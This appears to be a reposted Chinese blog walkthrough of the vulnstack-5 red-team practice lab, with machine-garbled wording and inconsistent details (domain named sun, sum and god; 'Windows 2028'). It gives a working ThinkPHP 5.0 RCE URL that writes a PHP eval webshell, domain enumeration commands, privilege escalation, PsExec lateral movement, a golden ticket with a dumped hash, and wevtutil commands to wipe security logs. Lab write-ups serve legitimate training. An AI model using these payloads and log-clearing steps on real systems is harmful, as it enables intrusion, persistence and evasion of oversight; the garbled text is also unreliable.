vulnstack-5
情况搭建靶场假造机共用两个,一个外网一个内网,用来练习红队干系内容和方向,重要包罗通例信息收集、Web攻防、代码审计、漏洞使用、内网排泄以及域排泄等干系内容学习。
假造机密码
win7
sun\heart 123.com
sun\Administrator dc123.com
# win7 web需要打开C盘里的phpstudy,最好关一下防火墙
2008
sun\admin 2020.com
密码修改位:Xiaodi.com
Win7双网卡模拟内外网
VMnet2网卡:192.168.25.0/24 外网
VMnet10网卡:192.168.26.0/24 内网
https://i-blog.csdnimg.cn/direct/3e4277fb437f47639ad01cfe91fd20fd.png
设置网卡
https://i-blog.csdnimg.cn/direct/5e232bce9fc844ba92d518ef8309cdfc.png
设置win2008网络
https://i-blog.csdnimg.cn/direct/3c310919e4a440e0ac5fd3e5321900d5.png
设置win7网络
https://i-blog.csdnimg.cn/direct/1c89d7be8ba94fff84cbff1f5ac736f7.png
https://i-blog.csdnimg.cn/direct/a527882d179d482aab398f5e5b6d1771.png
查看网段
https://i-blog.csdnimg.cn/direct/ca0e60ba6b1a472e87b03f9460e0c2dd.png
Windows 2028
https://i-blog.csdnimg.cn/direct/5dbb7cf656104e8f9b2db3ecf6afa136.png
关闭防火墙
https://i-blog.csdnimg.cn/direct/53116346bce14b1a9229b95aef3cbdcc.png
打开phpstudy设置访问网页
https://i-blog.csdnimg.cn/direct/79946551cef74784bab35b9394892d1a.png
外网排泄
端口扫描
我们使用nmap进行扫描win7:
nmap -T4 -sC -sV 192.168.16.134
发现Web服务和Mysql:
https://i-blog.csdnimg.cn/direct/8fc3e5e50fbc425580ea8949fe9d0420.png
Getshell
.我们访问80端口,发现是一个thinkphp
https://i-blog.csdnimg.cn/direct/bc1f3cd28b644e078397ae3241a8482f.png
版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp长途下令执行漏洞
漏洞形貌:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能使用 $_POST['_method'] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST['_method']='__construct' 而让该类的变量被覆盖。攻击者使用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意下令
https://i-blog.csdnimg.cn/direct/4db82b0517a44a659b12f69b909636f8.png
使用kali的searchsploit查找一下漏洞使用POC:
searchsploit thinkphp
https://i-blog.csdnimg.cn/direct/2babe59ab7a7468e984a13ebbb2941f7.png
)发现末了一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
https://i-blog.csdnimg.cn/direct/12e0110d2f66430c857db27e5f5d17b9.png
写入webshell
http://192.168.16.134/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars=file_put_contents&vars[]=shell.php&vars[]=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%3F%3E
https://i-blog.csdnimg.cn/direct/ac69e8ee5d11425da693187feed0ab99.png
https://i-blog.csdnimg.cn/direct/2becf18e175e4111927e3b0b962f8f94.png
攻入内网
域信息收集下令
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
上线cs
https://i-blog.csdnimg.cn/direct/5f3ef1bc3f2a4db4a0cc58445240a78b.png
使用插件漏洞ms14-058进行权限提升
https://i-blog.csdnimg.cn/direct/e8a8254e68e1402e9f6f616abd0fe8cd.png
先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域sum.com,如下图所示
https://i-blog.csdnimg.cn/direct/a25f5cb48859467883cbbc5341c96a27.png
者也可以执行下令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
上面发现 DNS 服务器名为 sum.org,当前登录域为 GOD,那接下来可执行net view /domain查看有几个域(域情况可能存在多个域):
https://i-blog.csdnimg.cn/direct/e544a39cbb61465eae0cd8ad4c1485bb.png
既然只有一个域,那就使用 net group "domain controllers" /domain 下令查看域控制器主机名,直接确认域控主机的名称为 DC:
https://i-blog.csdnimg.cn/direct/d0bda143424049328fe15414ca29e022.png
已经确认域控主机的名称为 OWA,继续执行定名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:
https://i-blog.csdnimg.cn/direct/bcdfa5f282604afa942aa5b61392d58a.png
局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),末了再确认一下该主机是否也是存在域中,故执行下令net group "domain computers" /domain 查看
https://i-blog.csdnimg.cn/direct/90867dff9f4d433f8a4fa551dbe0909c.png
查看域管理员
net group "domain admins" /domain
https://i-blog.csdnimg.cn/direct/4a4cae542f4e4ffe85d365ced7737c9f.png
查看目标列表
https://i-blog.csdnimg.cn/direct/dee25943e1bf4741b23fb0dc48826d3d.png
新建smb监听器
https://i-blog.csdnimg.cn/direct/de3c246e6b8041c49e07ec56c615897b.png
横向移动
Psexec横向移动
https://i-blog.csdnimg.cn/direct/e5400b80c7e6499ea1eb9a767eb43927.png
乐成上线
https://i-blog.csdnimg.cn/direct/970458c7db6640168dea7d30b8976008.png
看到毗连图
https://i-blog.csdnimg.cn/direct/dc0cc4bb29254a4da97bdead2a945495.png
权限维持
黄金票据
https://i-blog.csdnimg.cn/direct/edc6ca92cc5548e3b7310edb9af95961.png
https://i-blog.csdnimg.cn/direct/e0458c5eda98417684ccd6aaa98d8258.png
搜集到,用户:Administrator,域:sun.com
SID:S-1-5-21-3388020223-1982701712-4030140183-500
Hash:Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
https://i-blog.csdnimg.cn/direct/f0580eacad564cda9002cc7bafbfc5f1.png
注入乐成了
https://i-blog.csdnimg.cn/direct/5bf5016797384ee29d59bb75345e41af.png
清理日志
使用wevtutil进行扫除
ps:记住扫除陈迹非常重要,某些情况下不扫除容易被gangang
shell wevtutil cl security //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //扫除power shell日志
shell wevtutil cl Setup //扫除(cl)变乱日志中的 "Setup" 变乱。
https://i-blog.csdnimg.cn/direct/3da4f7d81fbd42019bd01e1085072ad2.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]